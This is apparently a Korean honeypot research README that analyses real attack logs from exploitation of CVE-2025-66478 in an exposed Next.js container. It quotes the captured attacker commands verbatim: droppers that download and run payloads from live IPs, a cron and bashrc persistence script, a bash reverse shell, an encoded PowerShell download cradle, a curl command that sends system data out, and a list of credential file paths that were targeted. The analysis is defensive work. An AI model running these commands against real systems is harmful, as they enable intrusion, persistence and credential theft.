
실제 CVE-2025-66478 (Next.js Server Actions RCE) 공격 로그 분석과 악성코드 샘플, 공격자 IP 추적, 컨테이너 보안 강화 교훈.
이 프로젝트는 인터넷에 노출된 Next.js 15.1.2 애플리케이션(Docker 컨테이너에서 실행)이 기록한 실제 공격 로그를 수집했습니다. 이 로그들은 CVE-2025-66478 취약점이 야생에서 대규모 자동화 공격 도구에 의해 스캔되고 악용되는 상황을 보여줍니다.
기록 시간 범위: 2025-12-04 ~ 2025-12-06 (약 48시간)
환경 정보:
공격자는 취약점을 통해 악성 프로그램을 다운로드하고 실행하는 명령어를 실행하려고 시도했습니다.
| 공격 소스 IP | 악성 페이로드 URL | 설명 |
|---|---|---|
| 216.158.232.43 | http://216.158.232.43:12000/sex.sh | 좀비 네트워크/채굴 프로그램 |
| 38.207.161.212 | http://38.207.161.212/agent | 악성 agent 프로그램 |
| 43.156.63.124 | http://43.156.63.124/tsd | cron 백도어 삽입 |
| 154.38.121.219 | res.qiqigece.top/nginx3 | nginx로 위장한 악성 프로그램 |
| 47.79.42.91 | iot.632313373.xyz/nz.sh | IoT 좀비 네트워크 스크립트 |
| 47.79.65.237 | sup001.oss-cn-hongkong.aliyuncs.com/python1.sh | 채굴/백도어 프로그램 |
| 103.135.101.15 | http://103.135.101.15/wocaosinm.sh | 악성 스크립트 |
| 38.12.24.231 | http://38.12.24.231/kworker | kernel worker로 위장한 악성 프로그램 |
| 128.199.194.97 | http://128.199.194.97:9001/setup2.sh | 초기화 스크립트 |
# 일반적인 dropper 공격
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a
# cron 지속성 백도어 삽입
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd
# 복잡한 지속성 공격 (여러 다운로드 방식 시도 + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
mkdir -p $d;
if [ -w $d ]; then
p="$d/$n";
(curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
chmod +x $p;
nohup $p >/dev/null 2>&1 &
(crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
fi;
done
공격자는 대화형 액세스를 얻기 위해 리버스 쉘 연결을 설정하려고 시도했습니다.
# Bash 리버스 쉘
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"
공격자는 대상이 Windows 시스템이라고 가정하고 PowerShell 명령어를 실행하려고 시도했습니다.
# Base64로 인코딩된 악성 PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA
# 디코딩 결과:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')
# 취약점 확인을 위한 수학 계산
powershell -c "41*271" # = 11111 (특징 코드 확인)
powershell -c "44225*41002" # = 1814113450
공격자는 후속 공격을 위해 시스템 정보를 수집하려고 시도했습니다.
# 시스템 정보 수집 및 외부 전송
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`
공격자는 다양한 민감한 파일과 자격 증명을 읽으려고 시도했습니다.
취약점을 통해 성공적으로 유출된 컨테이너 환경 변수:
HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0
공격자는 DNS 쿼리를 사용하여 데이터를 유출하거나 취약점을 확인했습니다:
ping 5a58e4a0.log.dnslog.pp.ua.
대부분의 공격이 실패한 것은 Alpine Linux 컨테이너의 경량화 특성 때문입니다:
| 누락된 도구 | 영향 |
|---|---|
curl | 악성 페이로드 다운로드 불가 |
bash | bash 특수 문법 (리버스 쉘 등) 실행 불가 |
powershell | Windows 공격 무효 |
wget은 사용 가능했지만, 일부 악성 스크립트 내부에서 여전히 curl 또는 bash에 의존하여 실행에 실패했습니다.
로그에는 다량의 Base64로 인코딩된 데이터가 포함되어 있으며, 다음은 일부 디코딩 결과입니다:
# digest: 'cm9vdAo='
디코딩: root
# digest: 'dGVzdAo='
디코딩: test
# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
디코딩: vulnerability_test
# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
디코딩: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
# /tmp 디렉터리 내용
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==
디코딩:
total 20
drwxrwxrwt 1 root root 4096 Dec 5 18:00 .
drwxr-xr-x 1 root root 4096 Dec 4 13:36 ..
-rwxr-xr-x 1 root root 9848 Dec 5 18:00 INSTALL
다음은 기록된 공격 소스 IP 주소입니다:
공격자는 존재하지 않는 Server Action을 호출하려고 시도했습니다:
Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"
공격자는 오류 메시지의 digest 필드를 이용하여 데이터를 유출했습니다:
Error: x
digest: 'cm9vdAo=' // 'root'의 Base64 인코딩
curl, bash, python 등 악용 가능성이 있는 도구 미설치--read-only 옵션으로 컨테이너 실행본 프로젝트는 보안 교육 및 연구 목적으로만 제공됩니다. 기록된 모든 공격은 연구용 허니팟에 대한 실제 공격 시도입니다. 이 정보를 불법적인 목적으로 사용하지 마십시오.
본 프로젝트에는 공격 로그에서 추출하여 다운로드한 실제 악성 프로그램 샘플이 포함되어 있습니다. 자세한 분석은 다음을 참조하십시오:
MIT License
| 카테고리 | 경로 |
|---|
| 클라우드 자격 증명 | /root/.aws/credentials, /root/.aws/config |
/root/.config/gcloud/credentials.db | |
/root/.config/gcloud/application_default_credentials | |
| SSH 키 | /root/.ssh/id_rsa, /root/.ssh/config |
| Git 자격 증명 | /root/.git-credentials, /root/.gitconfig |
| 컨테이너/K8s | /root/.docker/config, /root/.kube/config |
/var/lib/kubelet/config.yaml | |
| 애플리케이션 | /proc/self/cwd/serviceAccountKey.json (Firebase) |
/proc/self/cwd/prisma/.env, /proc/self/cwd/prisma/schema.prisma | |
| 쉘 히스토리 | /root/.bash_history, /root/.zsh_history |
| 클라우드 도구 | /root/.ossutilconfig (阿里云 OSS) |
/root/.npmrc | |
| 시스템 설정 | /etc/ansible/ansible.cfg, /etc/passwd, /etc/shadow |
python | Python 다운로더 사용 불가 |
| IP 주소 | 국가/지역 (추정) | 공격 유형 |
|---|
| 216.158.232.43 | 미국 | Dropper |
| 38.165.44.205 | 미국 | Dropper |
| 23.95.44.80 | 미국 | Dropper |
| 154.38.121.219 | 홍콩 | Malware (nginx3) |
| 38.207.161.212 | 미국 | Agent |
| 43.156.63.124 | 중국 | Cron 백도어 |
| 47.79.42.91 | 중국 (阿里云) | IoT 좀비 네트워크 |
| 47.79.65.237 | 중국 (阿里云) | 채굴 프로그램 |
| 119.45.243.154 | 중국 (腾讯云) | 채굴 프로그램 |
| 144.22.210.54 | 브라질 | Dropper |
| 217.60.249.228 | 스웨덴 | Dropper |
| 154.26.192.32 | 미국 | 리버스 쉘 |
| 156.234.209.103 | 알 수 없음 | PowerShell 페이로드 |
| 38.60.212.106 | 미국 | 정보 수집 |
| 103.135.101.15 | 베트남 | 좀비 네트워크 |
| 128.199.194.97 | 싱가포르 (DigitalOcean) | Setup 스크립트 |
| 38.12.24.231 | 미국 | 지속성 악성 프로그램 |
| 파일 | 유형 | 크기 | 출처 | 위협 수준 |
|---|
| nz.sh | Shell Script | 931 B | iot.632313373.xyz | 중 |
| tsd.sh | Shell Script | 1.7 KB | 43.156.63.124 | 고 |
| tsd | ELF 64-bit | 6.8 MB | 43.156.63.124 | 고 |
| init.sh | Shell Script | 6.1 KB | AWS S3 | 심각 |
| agent | ELF 64-bit | 23.7 MB | AWS S3 | 심각 |
| Agtisx.exe | PE32+ (Windows) | 24.0 MB | AWS S3 | 심각 |